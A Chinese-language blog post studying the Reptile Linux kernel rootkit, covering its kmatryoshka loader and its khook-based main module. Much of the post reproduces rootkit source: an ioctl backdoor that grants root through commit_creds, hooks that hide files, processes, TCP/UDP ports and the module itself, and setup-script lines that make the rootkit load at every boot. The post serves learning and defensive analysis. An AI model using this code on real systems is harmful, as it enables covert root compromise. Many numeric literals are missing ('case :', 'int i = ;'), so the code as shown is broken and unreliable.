简介

Reptile是github上一个很火的linux lkm rootkit，最近学习了一些linux rootkit的内容，在这里记录一下。

主要是分析reptile的实现

Reptile的使用

安装命令：

sudo ./setup.sh install

然后执行下面的命令

/reptile/reptile_cmd show

接着就可以看到/reptile目录下的一些东西了，这是项目安装在系统中的一些文件，在安装完成后，默认是隐藏的。具体的执行命令就不再这里赘述了

会出现下面这些程序

Reptile原理分析

Reptile使用了两个其他的项目

1、khook：一个内核钩子框架，具体分析可以看这里https://www.cnblogs.com/likaiming/p/10970543.html

2、kmatryoshka：一个动态的模块加载器

这里先分析一下kmatryoshka的实现

kmatryoshka

parasite_loader/main.c中的init_module函数是入口函数。encrypt目录下代表的都是加密相关部分。

整个loader是作为一个模块插入到内核中去的，这个模块的功能是加载用户空间的模块，使用的就是init_module函数的系统调用处理函数sys_init_module，它是一个导出函数，通过查找kallsyms得到该函数的地址，就可以使用。

首先看寻找sys_init_module的实现，使用的是kallsyms_on_each_symbol函数，传入一个寻找函数就可以从找到符号地址，实现使用的就是下面这两个函数，在data[0]放入要寻找的内容，data[1]放入结果。

static int ksym_lookup_cb(unsigned long data[], const char *name, void *module, unsigned long addr)

{

    int i = ; while (!module && (((const char *)data[]))[i] == name[i]) {

        if (!name[i++]) return !!(data[] = addr);

    } return ;

}

static inline unsigned long ksym_lookup_name(const char *name)

{

    unsigned long data[] = { (unsigned long)name,  };

    kallsyms_on_each_symbol((void *)ksym_lookup_cb, data);

    return data[];

}

然后在init_module函数中这样调用

sys_init_module = (void *)ksym_lookup_name("sys_init_module");

再获取到符号地址后，在传入parasite_blob，也就是目的模块的地址时，还需要thread_info结构中的addr_limit，这个是表示用户地址空间地址的最大值，在init_module函数中，会对地址做校验，使用的就是addr_limit，这里就会修改一下这个值，保证地址检查通过。

if (sys_init_module) {

        const char *nullarg = parasite_blob;

        unsigned long seg = user_addr_max();

        while (*nullarg) nullarg++;

        user_addr_max() = roundup((unsigned long)parasite_blob + sizeof(parasite_blob), PAGE_SIZE);

        sys_init_module(parasite_blob, sizeof(parasite_blob), nullarg);

        user_addr_max() = seg;

    }

Reptile

回到Reptile，主目录下，parasite_loader就是上面讲到的项目，khook就是内核钩子的框架，sbin是用户态的一些程序，reptile_cmd等这些程序都使通过sbin下面的程序编译出来的，script下面的脚本是生成的一些脚本存放目录，下面的内容在安装完成后自动删除了。loader下面的程序也比较简单，主要的逻辑写在rep_mod中，下面主要说一下这个文件中各个函数的功能

主函数，khook_init用来初始化khook，magic_packet_hook_options则是netlink钩子，START在setup脚本中被设置成reptile_start，

static int __init reptile_init(void)

{

    int ret;

    char *argv[] = {START, NULL, NULL};

    //创建工作线程

    work_queue = create_workqueue(WORKQUEUE);

    ret = khook_init();

    if (ret != )

        goto out;

    magic_packet_hook_options.hook = (void *)magic_packet_hook;

    magic_packet_hook_options.hooknum = ;

    magic_packet_hook_options.pf = PF_INET;

    magic_packet_hook_options.priority = NF_IP_PRI_FIRST;

#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 13, 0)

    nf_register_net_hook(&init_net, &magic_packet_hook_options);

#else

    nf_register_hook(&magic_packet_hook_options);

#endif

    exec(argv);

    hide();

out:

    return ret;

}

//不允许普通进程找到特殊进程

KHOOK(find_task_by_vpid);

struct task_struct *khook_find_task_by_vpid(pid_t vnr)

//特权进程的TIF_SYSCALL_AUDIT位要被取消，这个标志位在thread_info结构

KHOOK(audit_alloc);

static int khook_audit_alloc(struct task_struct *t)

//清理cred结构的时候清除特权进程标志位

KHOOK(exit_creds);

static void khook_exit_creds(struct task_struct *p)

//特权进程的子进程也需要有特权

KHOOK(copy_creds);

static int khook_copy_creds(struct task_struct *p, unsigned long clone_flags)

//装载可执行文件的时候

KHOOK_EXT(int, load_elf_binary, struct linux_binprm *);

static int khook_load_elf_binary(struct linux_binprm *bprm)

用户空间读物UDP端口使用/proc/net/udp，这个文件的seq_ops的show操作是udp4_seq_show

隐藏udp端口

KHOOK_EXT(int, udp4_seq_show, struct seq_file *, void *);

static int khook_udp4_seq_show(struct seq_file *seq, void *v)

用户空间读物UDP端口使用/proc/net/tcp，这个文件的seq_ops的show操作是tcp4_seq_show

隐藏tcp端口

KHOOK_EXT(int, tcp4_seq_show, struct seq_file *, void *);

static int khook_tcp4_seq_show(struct seq_file *seq, void *v)

netlink钩子

KHOOK_EXT(int, inet_ioctl, struct socket *, unsigned int, unsigned long);

static int khook_inet_ioctl(struct socket *sock, unsigned int cmd,

                unsigned long arg)

{

    int ret = ;

    unsigned int pid;

    struct control args;

    struct sockaddr_in addr;

    struct hidden_conn *hc;

    if (cmd == AUTH && arg == HTUA) {

        if (control_flag) {

            control_flag = ;

        } else {

            control_flag = ;

        }

        goto out;

    }

    if (control_flag && cmd == AUTH) {

        if (copy_from_user(&args, (void *)arg, sizeof(args)))

            goto out;

        switch (args.cmd) {

        //0则更改隐藏或是显示

        case :

            if (hide_module) {

                show();

                hidden = ;

            } else {

                hide();

                hidden = ;

            }

            break;

        case ://根据pid设置进程的可见性

            if (copy_from_user(&pid, args.argv, sizeof(unsigned int)))

                goto out;

            if (is_invisible(pid))

                flag_tasks(pid, );

            else

                flag_tasks(pid, );

            break;

        case :

            if (file_tampering)

                file_tampering = ;

            else

                file_tampering = ;

            break;

        case ://提权

#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29)

            current->uid = ;

            current->suid = ;

            current->euid = ;

            current->gid = ;

            current->egid = ;

            current->fsuid = ;

            current->fsgid = ;

            cap_set_full(current->cap_effective);

            cap_set_full(current->cap_inheritable);

            cap_set_full(current->cap_permitted);

#else

            commit_creds(prepare_kernel_cred());

#endif

            break;

        case ://增加隐藏tcp端口

            if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in)))

                goto out;

            hc = kmalloc(sizeof(*hc), GFP_KERNEL);

            if (!hc)

                goto out;

            hc->addr = addr;

            list_add(&hc->list, &hidden_tcp_conn);

            break;

        case ://删除隐藏tcp端口

            if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in)))

                goto out;

            list_for_each_entry(hc, &hidden_tcp_conn, list)

            {

                if (addr.sin_port == hc->addr.sin_port &&

                    addr.sin_addr.s_addr ==

                    hc->addr.sin_addr.s_addr) {

                    list_del(&hc->list);

                    kfree(hc);

                    break;

                }

            }

            break;

        case ://增加隐藏tcp端口

            if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in)))

                goto out;

            hc = kmalloc(sizeof(*hc), GFP_KERNEL);

            if (!hc)

                goto out;

            hc->addr = addr;

            list_add(&hc->list, &hidden_udp_conn);

            break;

        case ://删除隐藏tcp端口

            if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in)))

                goto out;

            list_for_each_entry(hc, &hidden_udp_conn, list)

            {

                if (addr.sin_port == hc->addr.sin_port &&

                    addr.sin_addr.s_addr ==

                    hc->addr.sin_addr.s_addr) {

                    list_del(&hc->list);

                    kfree(hc);

                    break;

                }

            }

            break;

        default:

            goto origin;

        }

        goto out;

    }

origin:

    ret = KHOOK_ORIGIN(inet_ioctl, sock, cmd, arg);

out:

    return ret;

}

//读操作钩子

KHOOK_EXT(ssize_t, vfs_read, struct file *, char __user *, size_t, loff_t *);

static ssize_t khook_vfs_read(struct file *file, char __user *buf,

size_t count, loff_t *pos)

getdents流程中的一个操作

说到文件隐藏，我们不妨先看看文件遍历的实现，也就是系统调用getdents / getdents64 ，简略地浏览它在内核态服务函数（sys_getdents）的源码（位于fs/readdir.c ），我们可以看到如下调用层次， sys_getdents ->iterate_dir -> struct file_operations 里的 iterate ->这儿省略若干层次 -> struct dir_context 里的 actor ，也就是filldir

filldir 负责把一项记录（比如说目录下的一个文件或者一个子目录）填到返回的缓冲区里

filldir这些函数

KHOOK_EXT(int, fillonedir, void *, const char *, int, loff_t, u64, unsigned int);

static int khook_fillonedir(void *__buf, const char *name, int namlen,

                loff_t offset, u64 ino, unsigned int d_type)

{

    int ret = ;

    if (!strstr(name, HIDE) || !hidden)

        ret = KHOOK_ORIGIN(fillonedir, __buf, name, namlen, offset, ino, d_type);

    return ret;

}

KHOOK_EXT(int, filldir, void *, const char *, int, loff_t, u64, unsigned int);

static int khook_filldir(void *__buf, const char *name, int namlen,

             loff_t offset, u64 ino, unsigned int d_type)

{

    int ret = ;

    if (!strstr(name, HIDE) || !hidden)

        ret = KHOOK_ORIGIN(filldir, __buf, name, namlen, offset, ino, d_type);

    return ret;

}

KHOOK_EXT(int, filldir64, void *, const char *, int, loff_t, u64, unsigned int);

static int khook_filldir64(void *__buf, const char *name, int namlen,

               loff_t offset, u64 ino, unsigned int d_type)

{

    int ret = ;

    if (!strstr(name, HIDE) || !hidden)

        ret = KHOOK_ORIGIN(filldir64, __buf, name, namlen, offset, ino, d_type);

    return ret;

}

KHOOK_EXT(int, compat_fillonedir, void *, const char *, int, loff_t, u64, unsigned int);

static int khook_compat_fillonedir(void *__buf, const char *name, int namlen,

                   loff_t offset, u64 ino, unsigned int d_type)

{

    int ret = ;

    if (!strstr(name, HIDE) || !hidden)

        ret = KHOOK_ORIGIN(compat_fillonedir, __buf, name, namlen, offset, ino, d_type);

    return ret;

}

KHOOK_EXT(int, compat_filldir, void *, const char *, int, loff_t, u64, unsigned int);

static int khook_compat_filldir(void *__buf, const char *name, int namlen,

                loff_t offset, u64 ino, unsigned int d_type)

{

    int ret = ;

    if (!strstr(name, HIDE) || !hidden)

        ret = KHOOK_ORIGIN(compat_filldir, __buf, name, namlen, offset, ino, d_type);

    return ret;

}

#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 12, 0)

KHOOK_EXT(int, compat_filldir64, void *buf, const char *, int, loff_t, u64, unsigned int);

static int khook_compat_filldir64(void *__buf, const char *name, int namlen,

                  loff_t offset, u64 ino, unsigned int d_type)

{

    int ret = ;

    if (!strstr(name, HIDE) || !hidden)

        ret = KHOOK_ORIGIN(compat_filldir64, __buf, name, namlen, offset, ino, d_type);

    return ret;

}

#endif

#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 9, 0)

KHOOK_EXT(struct dentry *, __d_lookup, const struct dentry *, const struct qstr *);

struct dentry *khook___d_lookup(const struct dentry *parent, const struct qstr *name)

#else

KHOOK_EXT(struct dentry *, __d_lookup, struct dentry *, struct qstr *);

struct dentry *khook___d_lookup(struct dentry *parent, struct qstr *name)

#endif

{

    struct dentry *found = NULL;

    if (!strstr(name->name, HIDE) || !hidden)

        found = KHOOK_ORIGIN(__d_lookup, parent, name);

    return found;

}

KHOOK_EXT(struct tgid_iter, next_tgid, struct pid_namespace *, struct tgid_iter);

static struct tgid_iter khook_next_tgid(struct pid_namespace *ns, struct tgid_iter iter)

{

    if (hidden) {

        while ((iter = KHOOK_ORIGIN(next_tgid, ns, iter), iter.task) != NULL) {

            if (!(iter.task->flags & FLAG))

                break;

            iter.tgid++;

        }

    } else {

        iter = KHOOK_ORIGIN(next_tgid, ns, iter);

    }

    return iter;

}

//隐藏内容

int hide_content(void *arg, ssize_t size)

写在<$TAG></$TAG>中间的内容

//检查是否有需要隐藏的内容

int f_check(void *arg, ssize_t size)

//看这个进程是否被隐藏了，0表示被隐藏

int is_invisible(pid_t pid)

//set=0表示清楚特权，set=1表示设置特权，设置pid位

int flag_tasks(pid_t pid, int set)

//重新显示这个模块

void show(void)

//从全局module链表中删除本模块

void hide(void)

驻留

setup脚本中，有让模块在启动时被加载的设置

    if [ "$SYSTEM" == "debian" ] || [ "$SYSTEM" == "ubuntu" ]; then

        echo -ne "#<$TAG>\n$MODULE\n#</$TAG>" >> /etc/modules || { echo -e "\e[01;31mERROR!\e[00m\n"; exit; }

    elif [ "$SYSTEM" == "redhat" ] || [ "$SYSTEM" == "centos" ] || [ "$SYSTEM" == "fedora" ]; then

        echo -ne "#<$TAG>\nmodprobe $MODULE\n#</$TAG>" >> /etc/rc.modules && \

        chmod +x /etc/rc.modules || { echo -e "\e[01;31mERROR!\e[00m\n"; exit; }

    #elif [ "$SYSTEM" == "arch" ]; then

    #    echo -ne "#<$TAG>\n$MODULE\n#</$TAG>" >> /etc/modules || { echo -e "\e[01;31mERROR!\e[00m\n"; exit; }

    fi

巴特西

LKM rootkit：Reptile学习

简介

Reptile的使用

Reptile原理分析

kmatryoshka

Reptile

驻留

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